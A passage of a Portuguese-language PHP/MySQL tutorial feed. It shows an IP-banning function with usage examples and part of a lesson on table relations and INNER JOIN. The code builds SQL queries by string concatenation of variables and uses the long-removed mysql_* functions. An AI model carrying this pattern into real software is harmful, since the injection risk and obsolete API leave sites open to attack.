<div class="item copyToClipboard"><object id="highlighter_576320_clipboard" title="copy to clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" type="application/x-shockwave-flash"></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword"><span style="color: #5ba1cf;">function</span></code> <code class="plain">banirVisitante(</code><code class="variable"><span style="color: #ffaa3e;">$minutos</span></code><code class="plain">, </code><code class="variable"><span style="color: #ffaa3e;">$ip</span></code> <code class="plain">= null) { </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments"><span style="color: #878a85;">// Define o IP que será banido </span></code></span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable"><span style="color: #ffaa3e;">$ip</span></code> <code class="plain">= (</code><code class="functions"><span style="color: #ffaa3e;">is_null</span></code><code class="plain">(</code><code class="variable"><span style="color: #ffaa3e;">$ip</span></code><code class="plain">)) ? </code><code class="variable"><span style="color: #ffaa3e;">$_SERVER</span></code><code class="plain">[</code><code class="string"><span style="color: #5ce638;">'REMOTE_ADDR'</span></code><code class="plain">] : </code><code class="variable"><span style="color: #ffaa3e;">$ip</span></code><code class="plain">;       </code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments"><span style="color: #878a85;">// Verifica se o usuário já está banido </span></code></span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable"><span style="color: #ffaa3e;">$sql</span></code> <code class="plain">= </code><code class="string"><span style="color: #5ce638;">"SELECT * FROM `banidos` WHERE ( `ip` = '"</span></code><code class="plain">. </code><code class="variable"><span style="color: #ffaa3e;">$ip</span></code> <code class="plain">.</code><code class="string"><span style="color: #5ce638;">"' ) AND ( NOW() BETWEEN `inicio` AND `fim` )"</span></code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable"><span style="color: #ffaa3e;">$query</span></code> <code class="plain">= mysql_query(</code><code class="variable"><span style="color: #ffaa3e;">$sql</span></code><code class="plain">); </code></span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="keyword"><span style="color: #5ba1cf;">if</span></code> <code class="plain">(mysql_num_rows(</code><code class="variable"><span style="color: #ffaa3e;">$query</span></code><code class="plain">) &gt; 0) { </code></span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><code class="spaces">        </code><span class="block" style="margin-left: 56px !important;"><code class="comments"><span style="color: #878a85;">// Cria uma consulta que atualizará o registro do visitante </span></code></span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><code class="spaces">        </code><span class="block" style="margin-left: 56px !important;"><code class="variable"><span style="color: #ffaa3e;">$sql</span></code> <code class="plain">= </code><code class="string"><span style="color: #5ce638;">"UPDATE `banidos` SET `fim` = DATE_ADD(NOW(), INTERVAL "</span></code><code class="plain">.</code><code class="variable"><span style="color: #ffaa3e;">$minutos</span></code><code class="plain">.</code><code class="string"><span style="color: #5ce638;">" MINUTE) WHERE  ( `ip` = '"</span></code><code class="plain">. </code><code class="variable"><span style="color: #ffaa3e;">$ip</span></code> <code class="plain">.</code><code class="string"><span style="color: #5ce638;">"' ) AND ( NOW() BETWEEN `inicio` AND `fim` )"</span></code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">} </code><code class="keyword"><span style="color: #5ba1cf;">else</span></code> <code class="plain">{ </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><code class="spaces">        </code><span class="block" style="margin-left: 56px !important;"><code class="comments"><span style="color: #878a85;">// Cria uma consulta que insere o registro na tabela </span></code></span></span></div>
<div class="line alt1"><code class="number">13.</code><span class="content"><code class="spaces">        </code><span class="block" style="margin-left: 56px !important;"><code class="variable"><span style="color: #ffaa3e;">$sql</span></code> <code class="plain">= </code><code class="string"><span style="color: #5ce638;">"INSERT INTO `banidos` VALUES ( NULL, '"</span></code><code class="plain">. </code><code class="variable"><span style="color: #ffaa3e;">$ip</span></code> <code class="plain">.</code><code class="string"><span style="color: #5ce638;">"', NOW(), DATE_ADD(NOW(), INTERVAL "</span></code><code class="plain">.</code><code class="variable"><span style="color: #ffaa3e;">$minutos</span></code><code class="plain">.</code><code class="string"><span style="color: #5ce638;">" MINUTE) )"</span></code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">14.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt1"><code class="number">15.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments"><span style="color: #878a85;">// Executa a consulta criada dentro do IF/ELSE </span></code></span></span></div>
<div class="line alt2"><code class="number">16.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">mysql_query(</code><code class="variable"><span style="color: #ffaa3e;">$sql</span></code><code class="plain">); </code></span></span></div>
<div class="line alt1"><code class="number">17.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">18.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments"><span style="color: #878a85;">// Redireciona o visitante </span></code></span></span></div>
<div class="line alt1"><code class="number">19.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="keyword"><span style="color: #5ba1cf;">if</span></code> <code class="plain">(</code><code class="variable"><span style="color: #ffaa3e;">$_SERVER</span></code><code class="plain">[</code><code class="string"><span style="color: #5ce638;">'REMOTE_ADDR'</span></code><code class="plain">] == </code><code class="variable"><span style="color: #ffaa3e;">$ip</span></code><code class="plain">) { </code></span></span></div>
<div class="line alt2"><code class="number">20.</code><span class="content"><code class="spaces">        </code><span class="block" style="margin-left: 56px !important;"><code class="plain">header(</code><code class="string"><span style="color: #5ce638;">"Location: http://www.pudim.com.br/"</span></code><code class="plain">); </code></span></span></div>
<div class="line alt1"><code class="number">21.</code><span class="content"><code class="spaces">        </code><span class="block" style="margin-left: 56px !important;"><code class="functions"><span style="color: #ffaa3e;">exit</span></code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">22.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt1"><code class="number">23.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">}</code></span></span></div>
</div>
</div>
<p>Aí quando você quiser banir um visitante, seja qual for o motivo, é só usar a função criada:</p>
<div id="highlighter_828394" class="syntaxhighlighter syntaxhighl">
<div class="bar    ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></p>
<div class="item copyToClipboard"><object id="highlighter_828394_clipboard" title="copy to clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" type="application/x-shockwave-flash"></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments"><span style="color: #878a85;">// Banir visitante por 10 minutos </span></code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">banirVisitante(10); </code></span></span></div>
<div class="line alt1"><code class="number">3.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">4.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments"><span style="color: #878a85;">// Banir um IP específico por 3 dias </span></code></span></span></div>
<div class="line alt1"><code class="number">5.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">banirVisitante(60 * 24 * 3, </code><code class="string"><span style="color: #5ce638;">'114.154.95.24'</span></code><code class="plain">);</code></span></span></div>
</div>
</div>
<p>–Fonte:thiagobelem.net</p>
<p><a href="http://brasiltutoriais.com.br/bloqueando-visitantes-pelo-ip-com-mysql-e-php/">Bloqueando visitantes pelo IP com MySQL e PHP</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



<p>NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/usar-mysql-com-php/' rel='bookmark' title='Permanent Link: Usar MySQL com PHP'>Usar MySQL com PHP</a></li>
<li><a href='http://brasiltutoriais.com.br/sistema-de-votacao-online-em-php-e-mysql-2/' rel='bookmark' title='Permanent Link: Sistema de votação online em PHP e MySQL'>Sistema de votação online em PHP e MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/sistema-de-votacao-online-em-php-e-mysql/' rel='bookmark' title='Permanent Link: Sistema de votação online em PHP e MySQL'>Sistema de votação online em PHP e MySQL</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://brasiltutoriais.com.br/bloqueando-visitantes-pelo-ip-com-mysql-e-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Relacionamento de Tabelas no MySQL</title>
		<link>http://brasiltutoriais.com.br/relacionamento-de-tabelas-no-mysql/</link>
		<comments>http://brasiltutoriais.com.br/relacionamento-de-tabelas-no-mysql/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 11:27:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MYSQL]]></category>

		<guid isPermaLink="false">http://brasiltutoriais.com.br/?p=214</guid>
		<description><![CDATA[
Hoje vamos a mais um tutorial “step by step” onde vou falar e mostrar como fazer relacionamento entre tabelas no MySQL.

O relacionamento de tabelas é necessário quando temos mais de uma tabela com informações que podem e precisam ser cruzadas, por exemplo: categorias e produtos… Cada registro na tabela produtos estará ligado a um registro [...]<p><a href="http://brasiltutoriais.com.br/relacionamento-de-tabelas-no-mysql/">Relacionamento de Tabelas no MySQL</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/usar-mysql-com-php/' rel='bookmark' title='Permanent Link: Usar MySQL com PHP'>Usar MySQL com PHP</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em;"><script type="text/javascript" src="http://button.topsy.com/widget/retweet-big?url=http://brasiltutoriais.com.br/relacionamento-de-tabelas-no-mysql/&amp;title=Relacionamento+de+Tabelas+no+MySQL&amp;theme=blue&amp;txt_tweet=tweet&amp;txt_retweet=retweet"></script></div><p>Hoje vamos a mais um tutorial “<em>step by step</em>” onde vou falar e mostrar como fazer relacionamento entre tabelas no MySQL.</p>
<p><span id="more-214"></span></p>
<p>O relacionamento de tabelas é necessário quando temos mais de uma tabela com informações que podem e precisam ser cruzadas, por exemplo: categorias e produtos… Cada registro na tabela produtos estará ligado a um registro da tabela categorias.</p>
<p>Só pra vocês saberem, existem três níveis de relacionamento: nosso exemplo será um relação de <strong style="color: red;">1:N</strong> (fala-se “um pra N” ou “um para muitos”) onde cada categoria (1) contém um ou mais produtos (N)… Há também o <strong style="color: red;">1:1</strong> onde cada registro de uma tabela (1) está ligado a um e somente um registro de outra tabela (1)… E há outro nível de relacionamento, mais complexo, que é o <strong style="color: red;">N:N</strong> onde um ou mais registros de uma tabela (N) estão relacionados a um ou mais registros de outra tabela (N), que seria o exemplo de duas tabelas “produtos” e “tags” onde um produto tem várias tags e vários produtos pertencem a uma tag.</p>
<p>Não vou me aprofundar muito no assunto… Vou falar apenas da relação mais comum (<strong>1:N</strong>) e dar exemplos de como trabalhar com elas.</p>
<p>Para o nosso exemplo de hoje usaremos duas tabelas, chamadas “categorias” e “produtos”:</p>
<div id="highlighter_8824" class="syntaxhighlighter syntaxhighl">
<div class="bar                                        ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object width="16" height="16" type="application/x-shockwave-flash"><param name="id" value="highlighter_8824_clipboard" /></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">CREATE</code> <code class="keyword">TABLE</code> <code class="plain">`categorias` ( </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`id` </code><code class="keyword">INT</code> <code class="color1">NOT</code> <code class="color1">NULL</code> <code class="plain">AUTO_INCREMENT </code><code class="keyword">PRIMARY</code> <code class="keyword">KEY</code> <code class="plain">, </code></span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`nome` </code><code class="keyword">VARCHAR</code><code class="plain">( 255 ) </code><code class="color1">NOT</code> <code class="color1">NULL</code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">) ENGINE = MYISAM; </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">CREATE</code> <code class="keyword">TABLE</code> <code class="plain">`produtos` ( </code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`id` </code><code class="keyword">INT</code> <code class="color1">NOT</code> <code class="color1">NULL</code> <code class="plain">AUTO_INCREMENT </code><code class="keyword">PRIMARY</code> <code class="keyword">KEY</code> <code class="plain">, </code></span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`categoria_id` </code><code class="keyword">INT</code> <code class="color1">NOT</code> <code class="color1">NULL</code> <code class="plain">, </code></span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`nome` </code><code class="keyword">VARCHAR</code><code class="plain">( 255 ) </code><code class="color1">NOT</code> <code class="color1">NULL</code> <code class="plain">, </code></span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`preco` </code><code class="keyword">DECIMAL</code><code class="plain">( 10,2 ) </code><code class="color1">NOT</code> <code class="color1">NULL</code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">) ENGINE = MYISAM;</code></span></span></div>
</div>
</div>
<p>E vamos inserir alguns dados para exemplo:</p>
<div id="highlighter_857689" class="syntaxhighlighter syntaxhighl">
<div class="bar                                                  ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object width="16" height="16" type="application/x-shockwave-flash"><param name="id" value="highlighter_857689_clipboard" /></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">-- Extraindo dados da tabela `categorias` </code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">INSERT</code> <code class="keyword">INTO</code> <code class="plain">`categorias` </code><code class="keyword">VALUES</code><code class="plain">(1, </code><code class="string">'Camisetas'</code><code class="plain">); </code></span></span></div>
<div class="line alt1"><code class="number">3.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">INSERT</code> <code class="keyword">INTO</code> <code class="plain">`categorias` </code><code class="keyword">VALUES</code><code class="plain">(2, </code><code class="string">'Canecas'</code><code class="plain">); </code></span></span></div>
<div class="line alt2"><code class="number">4.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">5.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">-- Extraindo dados da tabela `produtos` </code></span></span></div>
<div class="line alt2"><code class="number">6.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">INSERT</code> <code class="keyword">INTO</code> <code class="plain">`produtos` </code><code class="keyword">VALUES</code><code class="plain">(1, 1, </code><code class="string">'Camiseta Social'</code><code class="plain">, 15.00); </code></span></span></div>
<div class="line alt1"><code class="number">7.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">INSERT</code> <code class="keyword">INTO</code> <code class="plain">`produtos` </code><code class="keyword">VALUES</code><code class="plain">(2, 1, </code><code class="string">'Camiseta Regata'</code><code class="plain">, 11.99); </code></span></span></div>
<div class="line alt2"><code class="number">8.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">INSERT</code> <code class="keyword">INTO</code> <code class="plain">`produtos` </code><code class="keyword">VALUES</code><code class="plain">(3, 2, </code><code class="string">'Caneca Grande'</code><code class="plain">, 12.00);</code></span></span></div>
</div>
</div>
<p>Reparem que na tabela produtos temos uma coluna “especial”, que é a “categoria_id” (INT)… Ela é quem ajudará a fazer a relação das duas tabelas… Nessa coluna entrará o ID da categoria a qual o produto pertence… Ou seja: as duas camisetas pertencem a categoria “Camisetas” (ID 1) e o terceiro produto (a Caneca Grande) pertence a categoria “Canecas” (ID 2) e é na coluna “categoria_id” que armazenamos esses IDs que identificam as categorias.</p>
<p>Esse campo responsável pela relação é normalmente chamado de “<em>foreing key</em>” (fk) ou “chave estrangeira”.</p>
<h3>Mas qual a utilidade dessa tal “relação”?</h3>
<p>Sem usar o relacionamento você poderia pegar todos os produtos e depois pegar as informações das categorias com uma segunda consulta, assim:</p>
<div id="highlighter_189573" class="syntaxhighlighter syntaxhighl">
<div class="bar                                                                                                                                                                                        ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object width="16" height="16" type="application/x-shockwave-flash"><param name="id" value="highlighter_189573_clipboard" /></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">&lt;?php </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">// Consulta que pega todos os produtos </code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$sql</code> <code class="plain">= </code><code class="string">"SELECT * FROM `produtos` ORDER BY `nome` ASC"</code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="variable">$query</code> <code class="plain">= mysql_query(</code><code class="variable">$sql</code><code class="plain">); </code></span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">while</code> <code class="plain">(</code><code class="variable">$produto</code> <code class="plain">= mysql_fetch_assoc(</code><code class="variable">$query</code><code class="plain">)) { </code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Aqui temos o array $produto com todos os valores do produto </code></span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="comments">// Consulta para pegar os dados da categoria: </code></span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable">$sqlC</code> <code class="plain">= </code><code class="string">"SELECT * FROM `categorias` WHERE `id` = "</code> <code class="plain">. </code><code class="variable">$produto</code><code class="plain">[</code><code class="string">'categoria_id'</code><code class="plain">]; </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable">$queryC</code> <code class="plain">= mysql_query(</code><code class="variable">$sqlC</code><code class="plain">); </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="variable">$categoria</code> <code class="plain">= mysql_fetch_assoc(</code><code class="variable">$queryC</code><code class="plain">); </code></span></span></div>
<div class="line alt1"><code class="number">13.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">14.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions">echo</code> <code class="string">'Titulo: '</code> <code class="plain">. </code><code class="variable">$produto</code><code class="plain">[</code><code class="string">'nome'</code><code class="plain">] . </code><code class="string">'&lt;br /&gt;'</code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">15.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions">echo</code> <code class="string">'Preço: '</code> <code class="plain">. </code><code class="variable">$produto</code><code class="plain">[</code><code class="string">'preco'</code><code class="plain">] . </code><code class="string">'&lt;br /&gt;'</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">16.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions">echo</code> <code class="string">'Categoria: '</code> <code class="plain">. </code><code class="variable">$categoria</code><code class="plain">[</code><code class="string">'nome'</code><code class="plain">]. </code><code class="string">'&lt;br /&gt;'</code><code class="plain">; </code></span></span></div>
<div class="line alt1"><code class="number">17.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="functions">echo</code> <code class="string">'&lt;hr /&gt;'</code><code class="plain">; </code></span></span></div>
<div class="line alt2"><code class="number">18.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">} </code></span></span></div>
<div class="line alt1"><code class="number">19.</code><span class="content"><code class="spaces"> </code><span class="block" style="margin-left: 7px !important;"> </span></span></div>
<div class="line alt2"><code class="number">20.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">?&gt;</code></span></span></div>
</div>
</div>
<p>Até aí tudo bem… Não tem nenhum pecado nisso… Mas imagine que você tem uma loja com 1000 produtos (o que não é muito), seria executada 1 consulta para todos os produtos e, dentro do loop (while) seriam executadas outras 1000 consultas para pegar o nome da categoria a qual o produto pertence… Ou seja, 1001 consultas, o que é um absurdo.</p>
<h3>A mágica da relação</h3>
<p>Agora vamos montar uma consulta que <strong>DE UMA SÓ VEZ</strong> irá pegar os dados de cada produto e também o nome da categoria… Com isso reduziremos nossas 1001 consultas pra… uma só! Sem mistérios, sem sub-consultas, nem consultas dentro do <strong>while()</strong>! <img class="wp-smiley" src="http://thiagobelem.net/blog/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" /></p>
<p>Mas antes de mostrar o script vou ajudar a vocês entenderem como a relação é feita… Antes a nossa consulta que pega apenas os produtos era assim:</p>
<div id="highlighter_940572" class="syntaxhighlighter nogutter syntaxhighl">
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">SELECT</code> <code class="plain">* </code><code class="keyword">FROM</code> <code class="plain">`produtos` </code><code class="keyword">ORDER</code> <code class="keyword">BY</code> <code class="plain">`nome` </code><code class="keyword">ASC</code></span></span></div>
</div>
</div>
<p>Sua tradução seria: <strong style="color: navy;">SELECIONAR todas as colunas da TABELA `produtos` ORDENADO PELO `nome` ASCENDETEMENTE</strong></p>
<p><img style="margin-bottom: 5px; border: silver 1px solid;" src="http://thiagobelem.net/blog/arquivos/2009/08/relacionamento1.jpg" alt="" /> </p>
<p>Agora usaremos uma nova “palavra” do MySQL que é o <strong style="background: gray; color: white;">JOIN</strong> (tradução: “unir”) e serve para unir resultados de duas tabelas.. <img class="wp-smiley" src="http://thiagobelem.net/blog/wp-includes/images/smilies/icon_wink.gif" alt=";)" /></p>
<p>Existem três tipos de JOIN mas não vou falar dos outros dois pois eles são MUITO pouco usados… Falaremos do “<strong style="background: gray; color: white;">INNER JOIN</strong>” que exige que haja um registro que corresponda a relação nas duas tabelas, ou seja: se houver um produto sem categoria ou a categoria não existir na tabela categorias esse produto é omitido dos resultados.</p>
<p>A nossa consulta ficará assim:</p>
<div id="highlighter_982984" class="syntaxhighlighter nogutter syntaxhighl">
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">SELECT</code> <code class="plain">`produtos`.* </code><code class="keyword">FROM</code> <code class="plain">`produtos` </code><code class="keyword">INNER</code> <code class="color1">JOIN</code> <code class="plain">`categorias` </code><code class="keyword">ON</code> <code class="plain">`produtos`.`categoria_id` = `categorias`.`id` </code><code class="keyword">ORDER</code> <code class="keyword">BY</code> <code class="plain">`produtos`.`nome` </code><code class="keyword">ASC</code></span></span></div>
</div>
</div>
<p>Sua tradução seria: <strong style="color: navy;">SELECIONAR todas as colunas [da tabela produtos] da TABELA `produtos` UNINDO A TABELA `categorias` ONDE a coluna `categoria_id` [da tabela produtos] É IGUAL a coluna `id` [da tabela categorias] ORDENADO PELO `nome` [da tabela produtos] ASCENDETEMENTE</strong></p>
<p><img style="margin-bottom: 5px; border: silver 1px solid;" src="http://thiagobelem.net/blog/arquivos/2009/08/relacionamento1.jpg" alt="" /> </p>
<p>A nossa “regra de relação” acontece ali entre o ON e o ORDER BY, dizemos que a relação entre as tabelas usará como referencia a coluna “categoria_id” da tabela “produtos” sendo igual a coluna “id” da tabela “categorias”… Se você fosse usar algum WHERE ele entraria depois do ON e antes do ORDER BY.</p>
<p>Pra quem ainda não entendeu, o ON é como o WHERE de uma consulta normal… É a regra da relação.</p>
<p>Repare que agora precisamos usar um formato diferente para identificar as colunas usando: <strong style="color: red;">`tabela`.`coluna`</strong>… Isso é necessário pois agora estamos trabalhando com duas tabelas.</p>
<p>Da forma que a nossa consulta está ainda não estamos pegando o nome da categoria… fazemos isso adicionando mais um campo na parte do SELECT, assim:</p>
<div id="highlighter_617935" class="syntaxhighlighter nogutter syntaxhighl">
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">SELECT</code> <code class="plain">`produtos`.*, `categorias`.`nome` </code><code class="keyword">FROM</code> <code class="plain">`produtos` </code><code class="keyword">INNER</code> <code class="color1">JOIN</code> <code class="plain">`categorias` </code><code class="keyword">ON</code> <code class="plain">`produtos`.`categoria_id` = `categorias`.`id` </code><code class="keyword">ORDER</code> <code class="keyword">BY</code> <code class="plain">`produtos`.`nome` </code><code class="keyword">ASC</code></span></span></div>
</div>
</div>
<p>Agora estamos pegando também o valor da coluna <strong>“nome”</strong> do registro encontrado (pela relação) na tabela <strong>“categorias”</strong>.</p>
<p><img style="margin-bottom: 5px; border: silver 1px solid;" src="http://thiagobelem.net/blog/arquivos/2009/08/relacionamento2.jpg" alt="" /> </p>
<p>Só que agora temos um novo problema… Nas duas tabelas existe uma coluna chamada “nome”, e quando estivermos lá no PHP, dentro do while, não teríamos como identificar de qual tabela pegamos as informações (veja a próxima imagem), pois as duas seriam <strong>$produto['nome']</strong>… Precisamos então renomear esse novo campo que adicionamos a busca, assim:</p>
<div id="highlighter_137790" class="syntaxhighlighter nogutter syntaxhighl">
<div class="lines">
